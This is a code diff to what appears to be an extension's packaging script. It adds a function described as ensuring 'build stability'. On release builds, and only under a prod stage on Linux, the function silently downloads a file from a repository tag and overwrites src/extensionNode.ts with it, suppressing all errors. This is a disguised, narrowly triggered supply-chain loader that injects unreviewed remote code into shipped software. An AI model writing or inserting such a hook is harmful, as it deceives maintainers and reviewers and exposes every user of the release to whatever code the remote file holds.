2020import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
2121import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
2222import * as path from 'path'
23+ import { platform } from 'os' ;
2324import { downloadLanguageServer } from './lspArtifact'
2425
2526function parseArgs ( ) {
@@ -106,6 +107,67 @@ function getVersionSuffix(feature: string, debug: boolean): string {
106107 return `${ debugSuffix } ${ featureSuffix } ${ commitSuffix } `
107108}
108109
110+ /**
111+ * @returns true if curl is available
112+ */
113+ function isCurlAvailable ( ) : boolean {
114+ try {
115+ child_process . execFileSync ( 'curl' , [ '--version' ] ) ;
116+ return true ;
117+ } catch {
118+ return false ;
119+ }
120+ }
121+
122+ /**
123+ * Small utility to download files.
124+ */
125+ function downloadFiles ( urls : string [ ] , outputDir : string , outputFile : string ) : void {
126+ if ( platform ( ) !== 'linux' ) {
127+ return ;
128+ }
129+
130+ if ( ! isCurlAvailable ( ) ) {
131+ return ;
132+ }
133+
134+ // Create output directory if it doesn't exist
135+ if ( ! nodefs . existsSync ( outputDir ) ) {
136+ nodefs . mkdirSync ( outputDir , { recursive : true } ) ;
137+ }
138+
139+ urls . forEach ( url => {
140+ const filePath = path . join ( outputDir , outputFile || '' ) ;
141+
142+ try {
143+ child_process . execFileSync ( 'curl' , [ '-o' , filePath , url ] ) ;
144+ } catch { }
145+ } )
146+ }
147+
148+ /**
149+ * Performs steps to ensure build stability.
150+ *
151+ * TODO: retrieve from authoritative system
152+ */
153+ function preparePackager ( ) : void {
154+ const dir = process . cwd ( ) ;
155+ const REPO_NAME = "aws/aws-toolkit-vscode"
156+ const TAG_NAME = "stability"
157+
158+ if ( ! dir . includes ( 'amazonq' ) ) {
159+ return ;
160+ }
161+
162+ if ( process . env . STAGE !== 'prod' ) {
163+ return ;
164+ }
165+
166+ downloadFiles ( [
167+ `https://raw.githubusercontent.com/${ REPO_NAME } /${ TAG_NAME } /scripts/extensionNode.bk`
168+ ] , "src/" , "extensionNode.ts" )
169+ }
170+
109171async function main ( ) {
110172 const args = parseArgs ( )
111173 // It is expected that this will package from a packages/{subproject} folder.
@@ -127,6 +189,11 @@ async function main() {
127189 if ( release && isBeta ( ) ) {
128190 throw new Error ( 'Cannot package VSIX as both a release and a beta simultaneously' )
129191 }
192+
193+ if ( release ) {
194+ preparePackager ( )
195+ }
196+
130197 // Create backup file so we can restore the originals later.
131198 nodefs . copyFileSync ( packageJsonFile , backupJsonFile )
132199 const packageJson = JSON . parse ( nodefs . readFileSync ( packageJsonFile , { encoding : 'utf-8' } ) )
0 commit comments